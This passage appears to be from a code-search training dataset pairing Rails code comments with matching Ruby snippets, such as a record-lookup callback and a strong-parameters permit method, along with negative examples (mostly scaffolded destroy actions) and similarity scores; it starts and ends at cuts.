end\n end", "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_city_hall_story.destroy\n respond_to do |format|\n format.html { redirect_to admin_city_hall_stories_url, notice: 'Dati Comune cancellata con successo!.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @rb.destroy\n respond_to do |format|\n format.html { redirect_to rbs_url, notice: 'Erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trinh_do_can_bo.destroy\n respond_to do |format|\n format.html { redirect_to trinh_do_can_bos_url, notice: 'Trinh do can bo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @habitant.destroy\n respond_to do |format|\n format.html { redirect_to habitants_url }\n format.json { head :no_content }\n end\n end", "def destroy \n @buchung = Buchung.find(params[:id])\n @buchung.destroy\n\n respond_to do |format|\n format.html { redirect_to buchungs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish_menu.destroy\n respond_to do |format|\n format.html { redirect_to edit_cafeteria_menu_path(@dish_menu.menu.cafeteria, @dish_menu.menu), notice: 'El plato se eliminó del menú.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @men_fashion = MenFashion.find(params[:id])\n @men_fashion.destroy\n\n respond_to do |format|\n format.html { redirect_to men_fashions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n @diemtrentuyen.destroy\n\n respond_to do |format|\n format.html { redirect_to diemtrentuyens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @burrito.destroy\n respond_to do |format|\n format.html { redirect_to burritos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brand.destroy\n respond_to do |format|\n format.html { redirect_to cp_brands_url, notice: 'Бренд удален.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @beast.destroy\n respond_to do |format|\n format.html { redirect_to beasts_url, notice: 'Bestia została usunięta' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @injhas_special_biryani_dish.destroy\n respond_to do |format|\n format.html { redirect_to injhas_special_biryani_dishes_url, notice: 'Injhas special biryani dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bahan = Bahan.find(params[:id])\n @bahan.destroy\n\n respond_to do |format|\n format.html { redirect_to bahans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @bilhete = Bilhete.find(params[:id])\n @bilhete.destroy\n\n respond_to do |format|\n format.html { redirect_to bilhetes_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @sitemenu.destroy\n respond_to do |format|\n format.html { redirect_to sitemenus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize!(:edit, Heb412Gen::Plantillahcm)\n @plantillahcm.destroy\n respond_to do |format|\n format.html do\n redirect_to(\n Rails.configuration.relative_url_root,\n notice: \"Plantillahcm eliminado.\",\n )\n end\n format.json { head(:no_content) }\n end\n end", "def destroy\n @bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url }\n format.json { head :no_content }\n end\n end", "def borrar \n\n fiesta.destroy\n render json: fiesta \n end", "def destroy\n @cargo_manifest = CargoManifest.find(params[:id])\n num = @cargo_manifest.manifest_num\n attr= TransportGuideState.find_by_name_state('En Proceso').id\n CargoManifest.transaction do\n @cargo_manifest.cargo_manifest_details.each do |detail|\n tg=detail.transport_guide\n tg.update_attribute('transport_guide_state_id', attr)\n detail.delete\n end\n @cargo_manifest.delete\n CustomLogger.info(\"Se borra manifiesto de carga: #{@cargo_manifest.inspect}, usuario: #{current_user.inspect}, #{Time.now}\")\n end\n \n\n respond_to do |format|\n format.html { redirect_to cargo_manifests_url, notice: \"El Manifiesto de cargo #{num} ha sido borrado\"}\n format.json { head :no_content }\n end\n end", "def destroy\n @banda = Banda.find(params[:id])\n @banda.destroy\n\n respond_to do |format|\n format.html { redirect_to bandas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bacterium.destroy\n respond_to do |format|\n format.html { redirect_to bacteria_url, notice: 'Bacterium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @walikela.destroy\n respond_to do |format|\n format.html { redirect_to walikelas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_menu.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def destroy\n @socio_dados_banco.destroy\n respond_to do |format|\n format.html { redirect_to socio_dados_bancos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @berth = Berth.find(params[:id])\n\n # boat ei enää pidä kirjaa laituristaan\n #@boat = Boat.where(:reknro => @berth.reknro).first\n #if @boat != nil\n # @boat.Laituri = \"\"\n # @boat.Laituripaikka = \"\"\n # @boat.save\n #end\n\n @berth.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Laituripaikka poistettu'}\n format.json { head :no_content }\n end\n end", "def destroy\n @blar.destroy\n respond_to do |format|\n format.html { redirect_to blars_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kansei_buhin = KanseiBuhin.find(params[:id])\n @kansei_buhin.destroy\n\n respond_to do |format|\n format.html { redirect_to kansei_buhins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @barn = Barn.find(params[:id])\n @barn.destroy\n\n respond_to do |format|\n format.html { redirect_to barns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @c_rodinny_stav.destroy\n respond_to do |format|\n format.html { redirect_to c_rodinny_stavs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @razmer_go = RazmerGo.find(params[:id])\n @razmer_go.destroy\n\n respond_to do |format|\n format.html { redirect_to razmer_gos_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n# redirect_to activacionclientets_path # ted esto para evitar que borren por la web. ok. Que valla al index. provisional ok.\n \n #@activacionclientet.destroy\n respond_to do |format|\n format.html { redirect_to activacionclientets_url, notice: 'Activacionclientes no se puede eliminar por esta via. Contacte el administrador.' } # ted esto para evitar que borren por la web\n format.json { head :no_content }\n end\n end", "def destroy\n @bdm.destroy\n respond_to do |format|\n format.html { redirect_to bdms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @safra_verdoso = SafraVerdoso.find(params[:id])\n @safra_verdoso.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @wbr_datum = WbrDatum.find(params[:id])\n @wbr_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to wbr_data_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bien.destroy\n respond_to do |format|\n format.html { redirect_to biens_url, notice: 'Bien was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxinomy = Taxinomy.find(params[:id])\n @taxinomy.destroy\n\n respond_to do |format|\n format.html { redirect_to taxinomies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @apertura_billete.destroy\n respond_to do |format|\n format.html { redirect_to apertura_billetes_url, notice: 'Apertura billete was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dinosaur.destroy\n head :no_content\n end", "def destroy\n @brony.destroy\n respond_to do |format|\n format.html { redirect_to bronies_url, notice: 'Brony was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n @ronda.destroy\n\n respond_to do |format|\n format.html { redirect_to rondas_url }\n format.json { head :no_content }\n end\n end", "def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end", "def destroy\n @wombat.destroy\n respond_to do |format|\n format.html { redirect_to wombats_url, notice: 'Wombat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @zgloszeny.destroy\n respond_to do |format|\n format.html { redirect_to zgloszenies_url, notice: 'Zgłoszenie zostało usunięte.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mall.put_to_trash\n respond_to do |format|\n format.html { redirect_to director_malls_path, notice: 'Mall was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @malarium.destroy\n respond_to do |format|\n format.html { redirect_to malaria_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sitio_entrega = SitioEntrega.find(params[:id])\n @sitio_entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to sitio_entregas_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @tipo_distribucion.destroy\n respond_to do |format|\n format.html { redirect_to tipos_distribuciones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @basin = Basin.find(params[:id])\n @basin.destroy\n\n respond_to do |format|\n format.html { redirect_to basins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rebate = Rebate.find(params[:id])\n @rebate.destroy\n\n respond_to do |format|\n format.html { redirect_to rebates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @barrels_income.destroy\n respond_to do |format|\n format.html { redirect_to barrels_incomes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_status_desembaraco = Core::StatusDesembaraco.find(params[:id])\n @core_status_desembaraco.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_desembaracos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bordado = Bordado.find(params[:id])\n @bordado.destroy\n\n respond_to do |format|\n format.html { redirect_to bordados_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @distraction = Distraction.find(params[:id])\n @distraction.destroy\n\n respond_to do |format|\n format.html { redirect_to distractions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallmission = Mostsmallmission.find(params[:id])\n @mostsmallmission.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallmissions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sinh_vien = SinhVien.find(params[:id])\n @sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @bom_materiale.destroy\n respond_to do |format|\n format.html { redirect_to bom_materiales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aboutshetuan = Aboutshetuan.find(params[:id])\n @aboutshetuan.destroy\n\n respond_to do |format|\n format.html { redirect_to aboutshetuans_url }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @varietywine.destroy\n respond_to do |format|\n format.html { redirect_to varietywines_url, notice: 'Сорт вина успешно удален.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @m_beli_nota_second_d = MBeliNotaSecondD.find(params[:id])\n @m_beli_nota_second_d.destroy\n\n respond_to do |format|\n format.html { redirect_to m_beli_nota_second_ds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def destroy\n # sorry but not delete is not allow\n #@bundle = Bundle.find(params[:id])\n #@bundle.destroy\n\n respond_to do |format|\n format.html { redirect_to bundles_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.723907", "0.7148391", "0.6709805", "0.66736525", "0.66564125", "0.6645162", "0.6642611", "0.66244006", "0.659273", "0.65717876", "0.65699446", "0.65517086", "0.6549124", "0.6523843", "0.65189874", "0.6508655", "0.6506563", "0.65052927", "0.65009266", "0.6497982", "0.64851284", "0.6482506", "0.6455156", "0.6455034", "0.645498", "0.64466095", "0.6444155", "0.6433643", "0.6431028", "0.64297175", "0.6428538", "0.6424646", "0.6420408", "0.6420408", "0.6420408", "0.6420408", "0.64198923", "0.64136785", "0.6410473", "0.64104027", "0.64087415", "0.6406088", "0.6401386", "0.63991183", "0.63929963", "0.6392398", "0.6392085", "0.63901633", "0.6384237", "0.6378314", "0.6377857", "0.6372187", "0.6361965", "0.6360251", "0.63575345", "0.63550514", "0.6354887", "0.6353896", "0.635189", "0.63518804", "0.6347091", "0.6345393", "0.6342855", "0.63406044", "0.6339866", "0.63357294", "0.63304645", "0.6326744", "0.6325331", "0.6323146", "0.63174003", "0.631708", "0.6316258", "0.63149023", "0.63136715", "0.6312395", "0.630901", "0.6308906", "0.63076866", "0.6306496", "0.6304631", "0.6302803", "0.6302624", "0.6300134", "0.62966", "0.6296175", "0.6296067", "0.62948674", "0.6293731", "0.6292161", "0.6290603", "0.6290584", "0.62890184", "0.62889045", "0.6287502", "0.6287112", "0.6285936", "0.62858516", "0.62840945", "0.628344" ]
0.7212478
1
Use callbacks to share common setup or constraints between actions.
def set_brite_td_aswaxman_rt_waxman @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def after_set_callback; end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6165094", "0.60450804", "0.5944413", "0.5915806", "0.58885634", "0.5835225", "0.5775847", "0.5700531", "0.5700531", "0.56543404", "0.56209993", "0.54238355", "0.5410386", "0.5410386", "0.5410386", "0.5394892", "0.5377769", "0.53559244", "0.5339896", "0.53388095", "0.5330087", "0.5311993", "0.5297402", "0.5296789", "0.52957207", "0.52596015", "0.5245442", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5235431", "0.5231888", "0.5226663", "0.52220625", "0.5217086", "0.52137345", "0.5208314", "0.5205469", "0.5175606", "0.5174914", "0.5173361", "0.51662856", "0.5161792", "0.51572216", "0.5153063", "0.5152982", "0.5152632", "0.51435786", "0.5139829", "0.51346594", "0.511372", "0.511372", "0.51136476", "0.51083213", "0.5108011", "0.5091935", "0.5089297", "0.5081576", "0.50807106", "0.50656676", "0.50548106", "0.50537366", "0.505074", "0.505074", "0.5033361", "0.5025158", "0.5020441", "0.5015611", "0.50142473", "0.5000281", "0.50001067", "0.49989453", "0.4989465", "0.4989465", "0.4985425", "0.49805096", "0.49795893", "0.49783278", "0.49676263", "0.49656346", "0.49579078", "0.4955427", "0.49554235", "0.49536413", "0.49523768", "0.49457142", "0.49433607", "0.4933641", "0.49320185", "0.49265638", "0.49262375", "0.49259067", "0.4922456", "0.49201223", "0.49165115", "0.49158815", "0.49151883", "0.49149552", "0.4914386" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def brite_td_aswaxman_rt_waxman_params params.require(:brite_td_aswaxman_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :n, :hs, :ls, :nodeplacement, :growthtype, :m, :alpha, :beta, :bwdist, :bwmin, :bwmax, :name_rtwaxman, :n_waxman, :hs_waxman, :ls_waxman, :nodeplacement, :growthtype_waxman, :m_waxman, :alpha_waxman, :beta_waxman, :bwdist_waxman, :bwmin_waxman, :bwmax_waxman) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def 